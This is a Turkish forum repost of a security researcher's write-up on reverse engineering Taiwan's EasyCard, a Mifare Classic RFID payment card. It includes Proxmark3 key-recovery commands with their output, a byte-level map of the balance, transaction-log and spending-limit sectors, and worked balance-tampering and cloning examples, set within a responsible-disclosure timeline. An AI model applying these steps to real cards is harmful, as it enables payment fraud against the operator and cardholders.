RFID #3 | EasyCard - Tersine Mühendislik - RFID ödeme sistemi

Gauloran

Kıdemli Moderatör
7 Tem 2013
8,096
585
local
Bölüm 3: EasyCard - Tersine Mühendislik bir RFID ödeme sistemi

Merhaba ve hoşgeldin. Bu giriş, Tayvan'dan gelen herhangi bir okuyucunun bu yazının ne hakkında olduğunu ve neyle ilgili olmadığını anlayabilmesi için geleneksel Çince'ye de çevrildi. Hassas bir konuyla ilgilendiği için bir süredir bu araştırma üzerinde oturuyorum ama sonunda bulgularımı yayınlamaya karar verdim.

Herhangi bir süre için Tayvan'da bulunuyorsanız, EasyCard ile (veya genel olarak Yoyo Card - yōuyóu kǎ olarak telaffuz edildiği gibi) iletişime geçeceksiniz. EasyCard'lar hem ulaşım (metro, otobüs, tren, iç hat uçuşları) hem de ödeme (marketler, park ücretleri, hastaneler, kütüphaneler) için geniş bir kullanım alanına sahiptir. EasyCard uygulamalarının tam listesini resmi web sitelerinden bulabilirsiniz.

Ağustos 2013'te Almanya'daki 27. Bilgisayar Kaos Kulübü'nde (CCC - 2010) Harald Welte tarafından verilen bir sunum gördüm. Aşağıdaki video ve powerpoint slaytlarına bağlantılar ekledim. Harald, Tayvan'da bazı serbest çalışma yaparken EasyCard sistemine bir göz atmaya karar verdi. Şaşırtıcı bir şekilde, bu kartların Mifare Classic 1k'ye dayandığını keşfetti, dahası, mevcut parasal dengeyi istemci tarafında saklayarak arka uç veri tabanına karşı herhangi bir uygun akıl sağlığı kontrolü yapılmadan kötü bir şekilde uygulandıklarını keşfetti. Biraz araştırmadan sonra, mevcut bakiyeyi artırmak / azaltmak ve maksimum günlük harcama limitini atlamak için kart içeriğini değiştirebildi.

Sunumunu izledikten sonra doğal olarak merak ettim, bu yüzden EasyCard'ı kullanarak kamuya bildirilen herhangi bir dolandırıcılık vakası olup olmadığını öğrenmek için çevrimiçi bir göz atmaya karar verdim. Hiç kimseyi şaşırtmayacak kadar böyle durumlar oldu, 24 yaşındaki bir mühendisin (Wu Tung-shen) her biri 9000NTD (214 euro) içerecek şekilde 3 yeni EasyCard'ı yapay olarak şarj ettiği 2011 yılına dayanan en son vaka. Wu, sahte kartlardan birini ilk kez kullandıktan yaklaşık bir ay sonra tutuklandı, aşağıdaki chinapost makalesine bir bağlantı ekledim.

Garip bir şekilde EasyCard şirketi, kartlarının "kırılmadığını" ve Wu'nun tutuklanmasının, dolandırıcılığa karşı korunmak için yeterli güvenlik önlemlerine sahip olduklarının kanıtı olduğunu iddia etti. Saygılarımla, güvenliğe önem veren insanlar olarak, bu ifadeyi tamamen reddetmeliyiz. Wu'nun kart içeriklerini otomatik olarak değiştirebilmesi, kart güvenliğinin tehlikeye atıldığını ima ediyor.

Konuyu okuduktan sonra kendi kendime dedim ki: "Rubin, bu çok uzun zaman önceydi. İlerleme hatalarla ölçülmez, onlardan öğrendiklerimizle ölçülür". Ancak, benim dehşet verici bir şekilde, bir EasyCard'ı RFID okuyucuma ilk kez koyduktan beş dakika sonra hiçbir iyileştirme yapılmadığını fark ettim. EasyCard'lar hala Mifare Classic'e dayalıdır ve hala herhangi bir gerçek zamanlı bütünlük denetimi uygulamaz.

Harald Welte tarafından yapılan araştırmanın izinden gideceğim, EasyCard'ı söküp içerdiği verilere derinlemesine bir göz atacağım. Kart yapısı anlaşıldıktan sonra içeriği değiştirmenin önemsiz olduğunu göstereceğim.

Bu yazıyı neden yazdığımı kendinize sorabilirsiniz. Bana göre, bir ödeme sisteminin korumasının bu kadar düşük tutulması inanılmıyor. Bunun, baktığım ilk RFID uygulaması olduğunu ve birkaç gün içinde kart içeriğini tamamen tersine çevirebildiğimi düşünün. EasyCard şirketi, EasyCard'ın 2010'dan beri güvenlik sorunları olduğunu biliyor, ancak bu hataları düzeltmek için herhangi bir çaba gösterilmedi. Tam ifşa ruhu içinde, umarım (safça?) EasyCard sisteminin kusurlarını açığa çıkararak daha fazla güvenliğe küçük bir şekilde katkıda bulunabilirim.

Bu yazının içeriği yalnızca eğitim amaçlıdır, herhangi bir tür teknolojinin kötüye kullanılmasına kesinlikle göz yummuyorum. Son olarak, araştırmam sırasında hiçbir sahtekarlığın yapılmadığını kesinlikle açıklığa kavuşturmak istiyorum.

Raporlama Zaman Çizelgesi

EasyCard şirketi ile açık bir iletişim hattı kurmak istedim. Bu iki nedenden ötürü yapıldı: (1) Bir makale yazacağımı bildiklerinden emin olmak ve (2) onlara EasyCard'ların güvenliğiyle ilgili resmi konumlarını bildirme fırsatı sağlamak için.


12/03/2014 - İlk e-postamı EasyCard web sitesindeki çevrimiçi iletişim formu aracılığıyla gönderdim. Cevap almadım.
21/03/2014 - Resmi bir destek e-posta adresi ([email protected]) bulduktan sonra, ilk talebimi tekrar gönderdim.
25/03/2014 - Yazmak istediğim şey hakkında daha fazla ayrıntı soran (dostça) bir yanıt aldım.
25/03/2014 - Bakış açımı açıklayarak cevap verdim ve ele alacağım konulara temel bir genel bakış sağladım.
06/04/2014 - Başka bir yanıt almadım, yaklaşan yazımı hatırlatmak için bir posta gönderdim.
07/04/2014 - EasyCard şirketinin resmi konumunu içeren bir yanıt alındı.
07/04/2014 - EasyCard şirketinin resmi pozisyonunu gönderime dahil edip edemeyeceğimi sordum.
07/04/2014 - E-posta içeriğini dahil etme izni verildi.
16/04/2014 - Makale yayın tarihi.

EasyCard, dünya çapında birçok akıllı kartta yaygın olarak kullanıldığı için Mifare sistemini seçti ve birçok büyük şirket, kartları için sistemi benimsemeye devam etti. Kartlardaki şifreleme sistemi kırılırken, hacklenen kartların işlem yapmak için herhangi bir şekilde kullanılması tespit edilecek, bu da herhangi bir hırsızlık eylemini derhal durdurmamızı ve bilgisayar korsanlarının kartlardan yararlanmasını engellememizi sağlar. 2011'deki bilgisayar korsanlığı olayından bu yana, güvenlik mekanizmasını iyileştirmek için Mifare Plus'a taşındık ve EasyCard'ın güvenliğini artırma çabalarımız devam edecek.

Bağlantılar

Harald'ın CCC'deki sunumuna bağlantıların yanı sıra 2011 bilgisayar korsanlığı vakası için haber raporları ve diğer genel bilgileri de ekledim.
http://hitcon.org/download/2010/11_MIFARE Classic IS Completely Broken.pdf
https://tw.mobi.yahoo.com/status404
http://news.cts.com.tw/nownews/society/201109/201109270832101.html
https://www.chinapost.com.tw/taiwan/national/national-news/2011/09/28/318043/Engineer-hacks.htm
https://www.ltn.com.tw/2011/new/sep/27/today-t1.htm
https://zh.m.wikipedia.org/wiki/悠遊卡
https://en.m.wikipedia.org/wiki/EasyCard
https://events.ccc.de/congress/2010/Fahrplan/attachments/1772_easycard.pdf
[ame]https://m.youtube.com/watch?v=wSYcTl0B7MY[/ame]

Nihai Tanıtım Notları

EasyCard firmasının resmi cevabında Mifare Plus'a geçtiklerini belirtmek isterim, ancak ben sadece Mifare Classic kartlarını gördüm. Aslında Nisan 2014'te yeni bir EasyCard aldım ve hala bir Mifare Classic 1k kartı olduğunu doğrulayabilirim. Mifare klasik hakkında daha fazla bilgiye ihtiyacınız varsa, buradaki veri sayfamı okumanızı tavsiye ederim. Güvenli tarafta olmak için, kartımın NUID (Benzersiz Olmayan Tanımlayıcı) örneğini DE AD BE EF ile değiştireceğim ve LRC sağlama toplamını 22 (NUID'ye karşılık gelen) olarak yamalıyorum.

Tüm Verileriniz Bize Aittir!

Yapmamız gereken ilk şey kart şifrelemesini kırmak. Mifare Classic'in kullandığı tescilli CRYPTO-1 akış şifresinin 2007'den beri bilinen güvenlik sorunları vardır ve 2008'de Avrupalı araştırmacılar tarafından tamamen tersine mühendisliği yapılmıştır. Bu sorunları pratik olarak göstermek için iki açık kaynak aracı (mfcuk ve mfoc) piyasaya sürüldü. Tezgah üstü bir RFID okuyucu kullanarak (ACR122U gibi) CRYPTO-1, 30 dakika veya daha kısa sürede kırılabilir.

Araştırmamın amaçları doğrultusunda, aynı saldırıları uygulayan ancak şifre çözme işlemini önemli ölçüde 10 dakika veya daha kısa bir süreye çıkarmak için bir Spartan-II FPGA kullanan bir proxy işaret kullandım.
Kod:
Again, keep in mind that I have replaced the NUID with DE AD BE EF.

proxmark3> hf 14a read
ATQA : 04 00
 UID : de ad be ef
 SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k
proprietary non iso14443a-4 card found, RATS not supported

# We need to extract at least one valid sector key (A or B). Using the darkside attack on my proxmark,
  extracting a valid key only takes about 10 seconds.

proxmark3> hf mf mifare
-------------------------------------------------------------------------
Executing command. Expected execution time: 25sec on average  :-)
Press the key on the proxmark3 device to abort both proxmark3 and client.
-------------------------------------------------------------------------
......................
uid(26088897) nt(2d2e1271) par(6ae252fab2aabae2) ks(0f040501060e010e)
|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000000| f |  a  |0,1,0,1,0,1,1,0|
| 20 |00000020| 4 |  1  |0,1,0,0,0,1,1,1|
| 40 |00000040| 5 |  0  |0,1,0,0,1,0,1,0|
| 60 |00000060| 1 |  4  |0,1,0,1,1,1,1,1|
| 80 |00000080| 6 |  3  |0,1,0,0,1,1,0,1|
| a0 |000000a0| e |  b  |0,1,0,1,0,1,0,1|
| c0 |000000c0| 1 |  4  |0,1,0,1,1,1,0,1|
| e0 |000000e0| e |  b  |0,1,0,0,0,1,1,1|
00a2742a|00b0f322
------------------------------------------------------------------
Key found:177d527a7320 
Found valid key:177d527a7320

# As we can see we recovered a valid key, 0x177d527a7320. Please take note that it is a fully randomised
  key. Non of the EasyCards that I tested contained default keys and no two keys were identical. Using
  this key we can run a nested attack to retrieve all 32 secret keys (A&B).

proxmark3> hf mf nested 1 0 A 177d527a7320 d
--block no:00 key type:00 key:17 7d 52 7a 73 20  etrans:0          
Block shift=0          
Testing known keys. Sector count=16          
nested...          
..uid:26088897 len=1 trgbl=0 trgkey=0          
.uid:26088897 len=2 trgbl=0 trgkey=0          
.uid:26088897 len=2 trgbl=0 trgkey=0          
.uid:26088897 len=3 trgbl=0 trgkey=0          
.uid:26088897 len=3 trgbl=0 trgkey=0          
.------------------------------------------------------------------
Total keys count:672032          
Found valid key:589a711ee390          
..uid:26088897 len=2 trgbl=4 trgkey=0          
.uid:26088897 len=2 trgbl=4 trgkey=0          
.uid:26088897 len=2 trgbl=4 trgkey=0          
.uid:26088897 len=2 trgbl=4 trgkey=0          
.uid:26088897 len=2 trgbl=4 trgkey=0          
.------------------------------------------------------------------
Total keys count:775656          
Found valid key:e3b3180cdfb3                   

[...Snip...]

..uid:26088897 len=2 trgbl=60 trgkey=0          
.uid:26088897 len=2 trgbl=60 trgkey=0          
.uid:26088897 len=2 trgbl=60 trgkey=0          
.uid:26088897 len=2 trgbl=60 trgkey=0          
.uid:26088897 len=2 trgbl=60 trgkey=0          
.------------------------------------------------------------------
Total keys count:761980          
Found valid key:34cbcd3cd740          
..uid:26088897 len=1 trgbl=60 trgkey=0          
.uid:26088897 len=2 trgbl=60 trgkey=0          
.uid:26088897 len=2 trgbl=60 trgkey=0          
.uid:26088897 len=1 trgbl=60 trgkey=0          
.uid:26088897 len=2 trgbl=60 trgkey=0          
.------------------------------------------------------------------
Total keys count:504884          
Found valid key:59e2ee92947b          
Iterations count: 31          
|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  177d527a7320  | 1 |  589a711ee390  | 1 |          
|001|  e3b3180cdfb3  | 1 |  b3124f910108  | 1 |          
|002|  6e83aedc298b  | 1 |  f2b11dbc4ba0  | 1 |          
|003|  9eaf9a781d04  | 1 |  1e59fdc45765  | 1 |          
|004|  68e59c6e6eb1  | 1 |  0c4bed4166f6  | 1 |          
|005|  c9edc48fb206  | 1 |  6f17c208c707  | 1 |          
|006|  44b5a96ebfd7  | 1 |  43a2e1567524  | 1 |          
|007|  3336e79e1a29  | 1 |  8958b301e827  | 1 |          
|008|  d890947bdf00  | 1 |  8e9a2e88b3d6  | 1 |          
|009|  59029282beeb  | 1 |  8a60ff0dda5c  | 1 |          
|010|  dd71fc0fa9ad  | 1 |  29fa03b69894  | 1 |          
|011|  321e64fbae31  | 1 |  6932f8ab5fee  | 1 |          
|012|  6e7ffccb05e8  | 1 |  5c1491003344  | 1 |          
|013|  ddcccd391f47  | 1 |  57bd3dc0d7b0  | 1 |          
|014|  96041dc04cbc  | 1 |  f09941259a3b  | 1 |          
|015|  34cbcd3cd740  | 1 |  59e2ee92947b  | 1 |          
|---|----------------|---|----------------|---|          
Printing keys to binary file dumpkeys.bin...


# The 32 sector keys are written to dumpkeys.bin. Once these key have been found we can freely read from
  and write to the card. Using dumpkeys.bin we will now extract the entire card contents in to a binary
  dump.

proxmark3> hf mf dump
|-----------------------------------------|          
|------ Reading sector access bits...-----|          
|-----------------------------------------|          
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
|-----------------------------------------|          
|----- Dumping all blocks to file... -----|          
|-----------------------------------------|          
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
[...Snip...]
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED
Şimdiye kadar işin kolay kısmı. Şimdi temelde 1024 bayt içeren bir ikili blob olan kart içeriğini çıkardık. Bu noktada verilerin ne anlama geldiğine dair neredeyse sıfır bilgimiz var. Hemen tanımlayabildiğimiz sadece birkaç bit veri: (1) Yazma korumalı üretici bloğu (Sektör 0 blok0) ve (2) her dördüncü bloğun mevcut sektöre (gizli anahtarları içeren) erişim haklarımızı belirleyeceğini biliyoruz. zaten şifresini çözdük).

Karttaki verileri gerçekten deşifre etme şansına sahip olmak için, kart içeriğini net bir şekilde görselleştirmenin bir yolunu bulmamız gerekiyor. Veri formatını anlamak için çok sayıda (!) İkili dökümleri karşılaştıracağımız için bu giderek daha önemli hale gelecektir.

Bu amaçla, 010Editor için karttaki bilinen verileri vurgulayabilen bir Mifare 1k şablonu oluşturdum, bu çeşitli sektörleri ayırt etmemizi ve ilgisiz verileri görsel olarak filtrelememizi sağlayacaktır. Şablonu buradan indirebilirsiniz.
https://www.fuzzysecurity.com/scripts/10.html

Aşağıda, yeni attığımız (şablonuma göre filtrelenmiş) kartın ekran görüntüsünü görebilirsiniz. NUID ve LRC sağlama toplamını değiştirdiğimi yine unutmayın.

EasyCard_1_big.png


HEX nedir?

Karttaki verilerin kodunu çözmeye başlayabileceğimiz noktaya geldik. Verileri anlamak için çeşitli işlemler yapmamız ve her işlemden önce ve sonra ikili dökümleri karşılaştırmamız gerekir. Maalesef sizi tüm keşif sürecine götüremeyeceğim (bu çok fazla zaman alacağından). Yine de size bu sürecin temel bir örneğini göstereceğim ve ardından kartın çeşitli bölümlerinin nasıl çalıştığını ayrıntılı olarak açıklayacağım.

Anlamaya çalıştığım ilk şeylerden biri, EasyCard'ımda kalan bakiyeyi nasıl görebildiğimdi. Kart içeriğini boşaltarak başladım, ardından kartı 100NTD için yeniden doldurdum ve içeriği tekrar döktüm. 010Editor, iki farklı dosya arasında, farklı olan baytları vurgulayarak bir bayt karşılaştırması yapmanızı sağlar. Görünüşe göre, dökümlerdeki tek gerçek fark sektör 2'de meydana geldi. Aşağıda, yeniden doldurmadan önce ve sonra sektör 2'nin bir ekran görüntüsünü görebilirsiniz (vurgulanan baytlara dikkat edin).

EasyCard_2_big.png

Bu değişiklikleri, şarj terminalinden çektiğim aşağıdaki resimle bir araya getirmek, birkaç şeyi anlamamıza yardımcı olur: (1) 0xF5 (245NTD), karttaki mevcut bakiye, (2) 0x0AFFFFFF, mevcut bakiyenin bit tersine çevrilmiş depolamasıdır ve (3) biraz daha az belirgin olan 0x64 (100NTD), kartın yeniden doldurduğu miktardır.

EasyCard_3_big.png


Zaten tek bir karşılaştırmadan çok fazla bilgi alabildik. Bu işlem daha sonra birkaç gün boyunca farklı işlem türleri için birçok kez tekrarlandı. Şimdi, kullandığım metodoloji hakkında bir fikriniz var, çeşitli kart sektörlerinin daha ayrıntılı bir açıklamasına gidebiliriz. Lütfen tüm sektörlerin kullanılmadıkları, bilinmeyen veriler içerdikleri veya kasıtlı olarak atlandıkları için kapsanmadığını unutmayın.

Sektör0 - blok0 Üretici Verileri:

Burada ana ilgi alanı NUID ve üretim tarihidir.

Kod:
NUID(0xdeadbeef)
  |                       _ Inverted 32bit UNIX Timestamp - Manufacturing Date 0x47000488
  |__________            |  |_ Sun Sep 30 2007 @ 21:18
             |           |
         ---------   ----------
0000000: dead beef 2288 0400 4759 0499 4910 1608  Z.......GY..I...
                   --
                   |
                   |_  LRC Checksum (0x22)
Sektör2 - Kart Değeri Sektörü:

Yukarıdaki ekran görüntüsünde görebildiğimiz gibi, sektör 2'nin block0 ve block1'i aynı. Kart içeriğinin bozulmamasını sağlamak için yedeklilik için bir kopya saklanır. Bu nedenle sadece block1 ve block2'yi göstereceğim.

Kod:
Current Balance 0xf5 = 245NTD
   |
   |                    _ Bit Inverted Balance Storage (0xffffff0a) 
   |_____              |  |_ 0xffffffff - 0xf5 = 0xffffff0a
         |             |
         --        ---------
0000090: f500 0000 0aff ffff f500 0000 00ff 00ff  ................
00000a0: a0bd 8bf3 5130 6400 f500 e12e 46c0 3100  ....Q0d.....F.1.
           ----------   --          -- ---------
            |           |           |      |_ RFID Reader ID 0x46c03100
            |           |           |
    ________|    _______|           |_ Recharge ******** 0x2e = MRT Yongan Market
   |            |
   |            |_ Recharge Amount 0x64 = 100NTD
   |
   |_ Inverted 32bit UNIX Timestamp - Recharge Date (0x51f38bbd)
      |_ Sat Jul 27 2013 @ 09:58
Sektör3'ten Sektör5'e - İşlem Günlüğü:

Bu üç sektör, son sekiz işlemimizin kayıtlarını içerir. Üç sektör -> 3x4 blok = 12 blok -> 12 blok - 3 blok (Sektör römorku) - 1 blok (Sektör 3'ün blok 0'ı kullanılmaz) = 8 kayıtlı işlem. Ek olarak, bazı bilinmeyen kural kümelerinin ardından, bazen aynı işlemin kopyaları saklanır. Bu, en fazla sekiz benzersiz işlemimiz ve en az dört işlemimiz olacağı anlamına gelir. Bu işlem bloklarının her biri aynı yapıda olduğundan aşağıda yalnızca bir örnek göstereceğim.

Kod:
Remaining Balance 0x4a = 74NTD
                   |
                   |_________               _ RFID Reader ID 0xa4331200
                             |             |
                             --        ---------
0000120: 610f cc6e 5200 0f00 4a00 1205 a433 1200  a..nR...J....3..
           ----------   --          --
            |           |           |
            |           |           |
    ________|    _______|           |_ Transaction Type 0x05 = Bus Fare
   |            |
   |            |_ Transaction Cost 0x0f = 15NTD
   |
   |_ Inverted 32bit UNIX Timestamp - Transaction Date (0x526ecc0f)
      |_ Mon Oct 28 2013 @ 20:41
Sektör 7 - Son MRT İstasyonu:

Bu sektör, girilen son MRT istasyonunu (blok2) ve çıkan son istasyonu (blok1) içerir. Bu verilerin MRT ücretinin maliyetini hesaplamak için kullanıldığı varsayılır.
Kod:
MRT Station Code 0x2e = Yongan Market
      |  |_ This station was last exited!
      |
      |____________                 _ Inverted 32bit UNIX Timestamp (0x526ed1c6)
                   |               |  |_ Mon Oct 28 2013 @ 21:06
                   |               |
                   --          ----------
00001d0: 0000 0000 2e00 0000 00c6 d16e 5200 0000  ...........nR...
00001e0: 0000 0001 2500 0000 00a0 cc6e 5200 0000  ....%......nR...
                   --          ----------
                   |               |
       ____________|               |_ Inverted 32bit UNIX Timestamp (0x526ecca0)
      |                               |_ Mon Oct 28 2013 @ 20:44
      |
      |_ MRT Station Code 0x25 = Jingmei
         |_ This station was last entered!
Sektör 15 - Günlük Harcama Limiti:

Sanırım Harald bu noktada bir hata yaptı, en azından sonuçlarım onunkinden farklı. Bulgularım, sektör 15'in blok 2'sinin günlük harcama limitini içerdiğini gösteriyor. Üç önemli bayt vardır, (1) sonraki bir günde bir satın alma yapıldığında artan 1 baytlık bir onaltılık sayaç ve (2) bir üzerinde harcanan para miktarını hesaplamak için kullanılan 2 baytlık bir alan verilen gün. Normal şartlar altında, harcanan para miktarını hesaplamak için yalnızca bir bayt kullanılır, ancak tutar 0xff (255NTD) değerinden büyük değilse. Aşağıda, takip eden iki günde aynı karttaki blok2'yi karşılaştırarak harcama limiti sayacı değişikliğini görebiliriz.

Kod:
UNIX Timestamp     |  Cost  |  Balance  |  Transaction Type                        
--------------------|--------|-----------|--------------------
20:34 - 27/07/2013  | 124    | 121       | Store purchase
18:10 - 28/07/2013  | 100    | 21        | Store purchase


      Hex Counter 0xfb (27/07/2013)_
                                    |
                                    --
00003e0: 0000 0000 0000 0000 0000 00fb 427c 0000  ............B|..
                                         -----
       Sum of the purchases 0x7c = 124NTD _|



      Hex Counter 0xfc (28/07/2013)_
                                    |
                                    --
00003e0: 0000 0000 0000 0000 0000 00fc 4264 0000  ............Bd..
                                         -----
       Sum of the purchases 0x64 = 100NTD _|
Son Açıklamalar:

Daha önce de bahsettiğim gibi tüm sektörler kapsanmadı. Bazı sektörler statik / bilinmeyen veriler içeriyor, bazıları kasıtlı olarak atlanmış ve diğerleri kullanılmamış. Kullanılmayan sektörlerin varlığı, diğer kurumların EasyCard'ı kullanmalarına ve kendi özelliklerini birleştirmelerine olanak tanır. Böyle bir örnek, EasyCard olarak ikiye katlanan NTNU (Ulusal Tayvan Normal Üniversitesi) öğrenci kimlik kartıdır.

İlgi çekici olabilecek diğer bir nokta, konum verileridir. Kartın birçok bölümü, bakiyenizi nerede doldurduğunuz gibi konum verilerini kaydeder. Bu bilgiler 1 baytlık bir değer olarak saklanır (ör. 0x30 = Nanshijiao MRT İstasyonu). İşin en güzel yanı, "Taipei Rapid Transit Corporation" ın bu verilerin kodunu çözmede çok yardımcı olmasıydı! Harald gibi, resmi web sitelerini ziyaret ettim ve MRT haritalarının üzerine fareyle gelirseniz, href URL'lerindeki konum kodlarını gerçekten görebileceğinizi fark ettim. Aşağıdaki ekran görüntüsüne bakarsanız, Guting için konum kodunun 0x41 olduğunu görebilirsiniz.

EasyCard_4_big.png


Bu bile, çok çaba gerektirirse, her zaman bir bash kung-fu tek gömlek hehe çıkarabilirsin.

Tüm Paranız Bize Aittir!

Bu noktada kart üzerindeki veri yapısı oldukça iyi anlaşılmıştır ve kart içeriğini özgürce işleyebiliyoruz. EasyCard'ın etkili bir ödeme uygulaması olduğu düşünüldüğünde, bu açıkça oldukça kötü. Bu bölümde bizi zengin veya fakir yapacak birkaç saldırı senaryosunu özetleyeceğim!

Araştırmam sırasında hiçbir sahtekarlığın yapılmadığını tekrarlamak istiyorum. Herhangi biri ateş açmadan önce, kötü niyetli saldırganların kötüye kullanma olasılığını doğrulamak için attığım adımları dikkatlice okuyun.

Senaryolar:

(1) Karttaki bakiyeyi azaltmak için sektör 2'deki değerleri manipüle edebiliriz. Para kaybediyoruz!
(2) Karttaki dengeyi artırmak için sektör 2'deki değerleri değiştirebiliriz. Para kazanıyoruz!
(3) Satın aldığımız malların fiyatlarını artırmak için işlem günlüğünü değiştirebiliriz. Para kaybediyoruz!
(4) Satın aldığımız malların fiyatlarını düşürmek için işlem günlüğünü değiştirebiliriz. Para kazanıyoruz!
(5) Sektör 15'te maksimum günlük harcama limitini düzenleyebiliriz. Alışveriş çılgınlığına gidebiliriz!

Buradaki en büyük sorun, EasyCard'ın arka uç veritabanına karşı gerçek zamanlı bütünlük denetimi uygulamamasıdır. Aslında, bir işlem yaptığınızda, RFID okuyucu kartta depolanan verileri körü körüne kabul eder. Görünüşe göre tüm işlemler birkaç saatte bir arka uç ile senkronize ediliyor, maalesef bu yeterince iyi değil!

Boş bir EasyCard'ın fiyatının 100NTD olduğunu düşünün (bir otomattan satın alınabilir). Kötü niyetli bir saldırgan, sahte kart bloke edilmeden önce 100NTD'den fazlasını harcayabildiği sürece kar edecek ve EasyCard şirketi para kaybedecektir.

Bir an için kendimizi saldırganın zihniyetine sokalım. Bir saldırganın kartı tespit edilmeden önce 3 saatlik bir penceresi varsa, herhangi bir sorunla karşılaşmadan önce 10000NTD harcamak (günlük limiti sıfırlayarak) mümkün olmalıdır. Bu senaryoda, EasyCard şirketi tek bir kartta% 9900'lük bir kayıp yapacaktır. Bunun gibi durumlar muhtemelen gerçekten nadirdir ve 9900NTD kaybı EasyCard'ın kar marjını etkilemeyecek olsa da, bunun gerçek / önemli bir konu değilmiş gibi davranmanın bir anlamı yoktur.

Örnek 1 - Çok Zenginim:

Bu örnekte, verilerin yasal bir kopyasına sahip olmak için bir EasyCard'ın içeriğini döktüm. Bu yasal kartın bakiyesi 36NTD idi. Aşağıda block1 / Sector 2'nin bir kopyasını görebilirsiniz.

Kod:
Current Balance 0x24 = 36NTD
   |
   |                    _ Bit Inverted Balance Storage (0xffffff0a) 
   |_____              |  |_ 0xffffffff - 0x24 = 0xffffffdb
         |             |
         --        ---------
0000090: 2400 0000 dbff ffff 2400 0000 00ff 00ff  ................
Daha sonra kart bakiyesini yapay olarak 1234NTD'ye yükselttim. Değişikliğimin kartı bir MRT istasyonundaki bir şarj terminaline başarıyla yerleştirilip yerleştirilmediğini kontrol etmek için. Aşağıdaki görüntüden de görebileceğiniz gibi, terminal EasyCard'ımda 1234NTD olduğunu düşünüyor

EasyCard_5_big.png


Kartla herhangi bir işlem yapılmadı. Doğruca eve döndüm ve daha önce yaptığım yedeklemeden orijinal kart içeriğini geri yükledim.

Örnek 2 - Çok Fakirim:

Bu örnek için, şimdi orijinal durumuna geri yüklenen aynı kartı aldım. Unutma, bu kartta 36NTD vardı. Aşağıda kartta yapılan son işlemi görebilirsiniz.
Kod:
Remaining Balance 0x24 = 36NTD
                             |
                             --
0000150: 0d38 7916 5220 6d00 2400 4f01 24de 4f00  .8vES m...O.$.O.
           ----------   --          --
            |           |           |
            |           |           |
    ________|    _______|           |_ Transaction Type 0x01 = Store Purchase
   |            |
   |            |_ Purchase Cost 0x6d = 109NTD
   |
   |_ Inverted 32bit UNIX Timestamp - Transaction Date (0x52167938)
      |_ Thu Aug 22 2013 @ 21:48
Son işlemi dikkatlice değiştirdim ve maliyeti 16NTD artırdım.
Kod:
Remaining Balance 0x14 = 20NTD
                             |
                             --
0000150: 0d38 7916 5220 7d00 1400 4f01 24de 4f00  .8vES m...O.$.O.
                        --
                        |_ Purchase Cost 0x7d = 125NTD
Buna ek olarak, son işlemin artan maliyetini yansıtmak için günlük maksimum harcama limitini ve sektör 2'deki kullanılabilir bakiyeyi düzenledim. 7eleven'e gittim ve 15NTD için küçük bir içecek aldım. Kart beklendiği gibi çalıştı ve satın alma işleminden sonra kalan 5NTD bakiye ile 20NTD bakiye (36NTD yerine) gösterdi. Eve döndüğümde kartın aynı alanlarını değiştirdim ve geriye dönük olarak bakiyemi 16NTD artırdım.

Bu örnek tuhaf görünebilir, ancak satın alma anında gerçek zamanlı bir kontrol yapılmadığını kanıtlamaktadır, bu da RFID okuyucunun EasyCard'daki verileri körü körüne kabul ettiği anlamına gelir.

Örnek 3 - Hey, bu benim kartıma benziyor !:

Mifare Classic kullanımıyla birlikte klonlama riski de ortaya çıkıyor. Yazılabilir block0 (Yazılabilir NUID) içeren özel Mifare Classic (1k / 4k) kartları mevcuttur. Böyle bir kartım var ve bu teoriyi EasyCard'ımdan birinin mükemmel bir kopyasını yaparak test ettim. Aşağıdaki görselden makinenin meşru kart ile farkı anlayamadığını görebilirsiniz.

EasyCard_6_big.png

Bu başka bir sorunu ortaya çıkarır. EasyCard şirketi, sistemlerinde belirli (hileli) kartları tespit edip engellerse, kötü niyetli bir saldırgan basitçe blok 0'ı değiştirebilir ve aynı kartı defalarca kullanmaya devam edebilir. Birinin kartının mükemmel bir kopyasını almanın sadece 10 dakika süreceğinden bahsetmiyorum bile, potansiyel olarak masum bir kişiyi sahtekarlığa sürükleyebilir veya en azından soruşturma sürecini karıştırabilir!

Block0 yazılabilir kartlar üreten üreticilerin bir listesini oluşturarak bu sorunu hafifletmek mümkün olabilir (Infineon tek mi?). RFID okuyucu, kart üreticisini kara listedeki biriyle eşleştirdiğinde, kartı otomatik olarak reddedebilir.

Son Açıklamalar:

Umarım bu test vakalarının EasyCard şirketini hiçbir şekilde olumsuz etkilemediği ve kesinlikle hiçbir sahtekarlığın yapılmadığı açıktır! Ayrıca bu, şimdiye kadar değiştirdiğim tek EasyCard'dı, diğer tüm kartlar yalnızca işlem verilerini toplamak için kullanıldı.

Bu kart daha sonra elimde değiştirilmiş kart olmadığından emin olmak için imha edildi. Aşağıda görebileceğiniz imha edilmiş kartın bir fotoğrafını çektim.

EasyCard_8_big.png


EasyDump ile Veri Çıkarma

Bu yazım, bir komut dosyası olmadan tamamlanmış sayılmaz! Biraz esrarengiz karanlık sanatlar kullanarak, bir EasyCard'ın ikili dökümünü alacak ve en alakalı tüm verileri ayrıştıracak bir komut dosyası oluşturdum. Eminim senaryo güncellenebilir, ancak bunun her şeyden çok bir kavram kanıtı işlevi görmesi gerektiğini unutmayın. Aşağıda bazı örnek çıktıları görebilirsiniz.

EasyCard_7_big.png


Komut dosyası buradan indirilebilir.
